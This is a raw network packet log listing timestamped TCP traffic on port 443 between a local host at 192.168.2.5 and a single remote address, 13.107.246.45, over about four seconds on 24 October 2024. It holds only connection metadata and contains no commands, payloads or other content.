Oct 24, 2024 22:09:50.013678074 CEST	443	49841	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.016235113 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.016275883 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.016336918 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.016486883 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.016500950 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.017939091 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.018028021 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.018078089 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.018088102 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.018172979 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.018233061 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.018255949 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.018270016 CEST	49840	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.018275023 CEST	443	49840	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.018286943 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.018296003 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.018321037 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.018361092 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.018584013 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.018595934 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.018608093 CEST	49839	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.018613100 CEST	443	49839	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.020795107 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.020833969 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.020833969 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.020857096 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.020903111 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.020925999 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.021169901 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.021183968 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.021250963 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.021266937 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.036607027 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.036916018 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.037086010 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.037125111 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.037136078 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.037148952 CEST	49842	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.037153006 CEST	443	49842	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.039422035 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.039469957 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.039565086 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.039715052 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.039772987 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.067323923 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.068269968 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.068322897 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.068327904 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.068377018 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.068449974 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.068475962 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.068491936 CEST	49843	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.068500042 CEST	443	49843	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.071105957 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.071150064 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.071223021 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.071371078 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.071382999 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.781488895 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.782058954 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.782644033 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.782670021 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.783958912 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.783966064 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.784356117 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.785264969 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.785274982 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.788211107 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.788218975 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.788436890 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.788469076 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.789217949 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.789226055 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.805741072 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.806257010 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.806314945 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.807081938 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.807096004 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.812948942 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.813448906 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.813467026 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.814085960 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.814093113 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.915852070 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.917099953 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.917165041 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.917229891 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.917254925 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.917268038 CEST	49844	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.917274952 CEST	443	49844	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.920470953 CEST	49849	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.920517921 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.920595884 CEST	49849	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.920728922 CEST	49849	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.920742989 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.925239086 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.925374985 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.925440073 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.925492048 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.925527096 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.925632954 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.925681114 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.925681114 CEST	49847	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.925713062 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.925735950 CEST	443	49847	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.927974939 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.928021908 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.928077936 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.928220987 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.928236008 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.935501099 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.935611010 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.935672998 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.935745955 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.935766935 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.935781002 CEST	49848	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.935789108 CEST	443	49848	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.938121080 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.938164949 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.938252926 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.938411951 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.938425064 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.943478107 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.943818092 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.943880081 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.944153070 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.944165945 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.944180965 CEST	49845	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.944188118 CEST	443	49845	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.946607113 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.946639061 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.946696997 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.946849108 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.946857929 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.965406895 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.965559959 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.965634108 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.965792894 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.965810061 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.965823889 CEST	49846	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.965831041 CEST	443	49846	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.968231916 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.968319893 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:50.968386889 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.968506098 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:50.968534946 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.665179968 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.666227102 CEST	49849	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.666228056 CEST	49849	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.666275024 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.666295052 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.683728933 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.684092999 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.684109926 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.684568882 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.684573889 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.685520887 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.685815096 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.685823917 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.686175108 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.686181068 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.704368114 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.705179930 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.705179930 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.705216885 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.705226898 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.720565081 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.721214056 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.721214056 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.721254110 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.721276999 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.799685955 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.799762011 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.799870968 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.799985886 CEST	49849	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.799985886 CEST	49849	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.800043106 CEST	49849	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.800060034 CEST	443	49849	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.802522898 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.802556992 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.802764893 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.802764893 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.802792072 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.815612078 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.815804005 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.815900087 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.815900087 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.816173077 CEST	49852	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.816181898 CEST	443	49852	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.818039894 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.818130016 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.818327904 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.818327904 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.818414927 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.818530083 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.819039106 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.819137096 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.819232941 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.819232941 CEST	49851	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.819238901 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.819246054 CEST	443	49851	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.821240902 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.821261883 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.821439028 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.821439028 CEST	49856	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.821480036 CEST	443	49856	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.836366892 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.836471081 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.836580038 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.836612940 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.836827040 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.836898088 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.836898088 CEST	49853	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.836921930 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.836944103 CEST	443	49853	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.838789940 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.838805914 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.838965893 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.841259003 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.841269970 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.873714924 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.873900890 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.874033928 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.874034882 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.874418020 CEST	49850	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.874459982 CEST	443	49850	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.876595020 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.876642942 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:51.876878977 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.876878977 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:51.876918077 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.551853895 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.552453041 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.552472115 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.552939892 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.552944899 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.569252968 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.569785118 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.569859982 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.570497990 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.570511103 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.600558043 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.601087093 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.601104021 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.601721048 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.601726055 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.618627071 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.619087934 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.619153976 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.619654894 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.619668007 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.689409971 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.689502001 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.689557076 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.689713955 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.689733028 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.689743042 CEST	49854	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.689748049 CEST	443	49854	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.693165064 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.693186045 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.693259001 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.693416119 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.693423986 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.709760904 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.710012913 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.710064888 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.710129976 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.710141897 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.710167885 CEST	49855	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.710174084 CEST	443	49855	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.712373972 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.712409973 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.712465048 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.712625980 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.712636948 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.741327047 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.741365910 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.741409063 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.741416931 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.741430044 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.741477013 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.741616964 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.741625071 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.741640091 CEST	49857	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.741642952 CEST	443	49857	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.743989944 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.744035959 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.744102001 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.744232893 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.744246960 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.752130032 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.752270937 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.752357960 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.752357960 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.752398968 CEST	49858	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.752413988 CEST	443	49858	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.754426003 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.754439116 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:52.754496098 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.754630089 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:52.754641056 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.435400963 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.436424017 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.436424017 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.436444044 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.436460972 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.494194984 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.495254993 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.495254993 CEST	49861	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.495332956 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.495357990 CEST	443	49861	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.502310038 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.502621889 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.502677917 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.503002882 CEST	49860	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.503015995 CEST	443	49860	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.503093004 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.503618002 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.503618002 CEST	49862	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.503628016 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.503640890 CEST	443	49862	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.581995964 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.582091093 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.582341909 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.582341909 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.582521915 CEST	49859	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.582539082 CEST	443	49859	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.589147091 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.589195013 CEST	443	49863	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:53.593339920 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.593339920 CEST	49863	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:53.593406916 CEST	443	49863	13.107.246.45	192.168.2.5
